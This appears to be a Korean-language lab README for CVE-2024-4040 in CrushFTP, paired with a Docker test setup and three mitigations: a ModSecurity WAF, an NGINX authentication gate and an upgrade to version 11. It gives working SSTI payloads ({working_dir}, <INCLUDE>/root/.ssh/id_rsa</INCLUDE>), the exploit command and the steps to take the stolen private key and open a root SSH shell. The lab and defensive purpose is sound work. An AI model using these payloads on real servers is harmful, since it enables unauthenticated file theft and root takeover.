
CVE-2024-4040에 대한 개념 증명 익스플로잇으로, CrushFTP에서 인증되지 않은 SSTI 및 로컬 파일 읽기를 시연하며, Docker 랩과 완화 전략을 포함합니다.
| 필드 | 세부 정보 |
|---|
| CVE | CVE-2024-4040 |
| 영향 받는 소프트웨어 | CrushFTP < 10.7.1 (v10 브랜치) / < 11.1.0 (v11 브랜치) |
| 취약점 유형 | 서버 측 템플릿 인젝션(SSTI) → 인증되지 않은 로컬 파일 읽기 |
| CVSS 점수 | 9.8 치명적 |
| 영향 | 인증되지 않은 공격자가 서버 파일시스템에서 임의의 파일을 읽을 수 있습니다. |
CrushFTP의 WebInterface는 zip 명령의 path 매개변수에서 템플릿 표현식을 검증 없이 평가합니다. 인증되지 않은 공격자는 익명 세션 쿠키를 획득한 후, 해당 쿠키를 사용하여 서버가 평가하고 반환하는 템플릿 페이로드({working_dir}, <INCLUDE>…</INCLUDE>)를 전달할 수 있습니다. 이를 통해 호스트 전체에서 임의의 파일 읽기가 가능합니다.
| 구성 요소 | 값 |
|---|---|
| 대상 | http://localhost:8080 |
| 기본 PoC CrushFTP 버전 | 10.3.0 (의도적으로 취약함) |
| 완화 조치 3 테스트 환경 | CrushFTP 11.x를 실행하는 별도 컨테이너(패치된 브랜치) |
| SSH 포트(컨테이너) | 2222 → 22 |
| 관리자 자격 증명 | admin / admin |
| 컨테이너 런타임 | Docker (Compose) |
pip install requests rich
| 스크립트 | 출처 | 목적 |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | 전체 SSTI/LFI 익스플로잇 — 세션 스틸, 임의 파일 읽기 |
recon.py | 이 저장소 | 버전 탐지, 실시간 SSTI 프로브, 취약점 확인 |
docker-compose up -d
스크립트를 실행하기 전에 CrushFTP가 완전히 초기화될 때까지 약 10초 기다리세요. crushed.py는 실행 중에 익스플로잇 가능 여부를 이미 확인하기 때문에 별도의 정찰 단계는 필요하지 않습니다.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
스크립트는 다음을 수행합니다:
/WebInterface/에서 익명 CrushAuth / currentAuth 세션 획득{working_dir}을 사용하여 CrushFTP 설치 디렉토리 확인<INCLUDE>/root/.ssh/id_rsa</INCLUDE>를 사용하여 대상 파일 읽기출력에서 개인 키 블록(-----BEGIN OPENSSH PRIVATE KEY-----부터 -----END OPENSSH PRIVATE KEY-----까지 모두)을 복사하세요.
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
인증되지 않은 공격자
│
▼
GET /WebInterface/ ← 익명 CrushAuth + currentAuth 쿠키 획득
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI 확인 — 서버가 템플릿 평가
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← 절대 설치 경로 유출
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← 임의 파일 읽기
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← 전체 루트 셸
| 문제 | 위치 | 세부 사항 |
|---|---|---|
| 누락된 종속성 | 6–9행 | 실행 전 pip install rich 필요 |
| 취약한 XML 파싱 | 86, 140행 | 비XML 서버 응답에서 충돌; ParseError 처리 없음 |
| 토큰 정규식이 너무 엄격함 | 160–161행 | CrushAuth=…; currentAuth=… 패턴이 모든 sessions.obj 형식과 일치하지 않을 수 있음 |
| HTTP 404만 처리 | 53행 | 쿠키 획득은 404에서만 성공; 다른 상태 코드에서는 조용히 실패 |
WAF는 CrushFTP에 도달하기 전에 들어오는 HTTP/S 트래픽을 검사하는 리버스 프록시 역할을 합니다. NGINX와 ModSecurity를 사용하여 CVE-2024-4040을 악용하는 악성 요청이 CrushFTP 자체를 수정하지 않고 네트워크 가장자리에서 차단됩니다.
../, %2e%2e) 차단Mitigation 1/docker-compose.yaml 사용:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Mitigation 1/nginx.conf 사용:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
-> forwards clean -> CrushFTP:8080
CVE-2024-4040은 인증 없이 악용 가능합니다. 이 실험에서는 NGINX 계층에서 익명 스타일 접근을 차단하여, 주요 경로를 CrushFTP로 프록시하기 전에 Authorization 헤더를 요구합니다.
crushed.py와 같은 익스플로잇 스크립트는 인증되지 않은 접근에 의존합니다. 자격 증명이 없는 요청은 401로 거부됩니다./WebInterface/ 및 /에 대한 요청은 인증 데이터가 없으면 거부됩니다.services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# Allow static assets unauthenticated
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# Block unauthenticated access to WebInterface
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# Block everything else unauthenticated
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized
# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
CrushFTP 11로 업그레이드하는 것이 가장 효과적이고 영구적인 수정 방법입니다. 패치는 VFS 경로 해석에 엄격한 입력 검증을 적용하여 CVE-2024-4040의 근본 원인을 제거합니다.
crushed.py와 같은 익스플로잇 스크립트가 버전 11에서 더 이상 작동하지 않음Dockerfile을 업데이트하여 CrushFTP 11을 사용:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
컨테이너 다시 빌드:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080
# Expected: exploit returns no output or connection error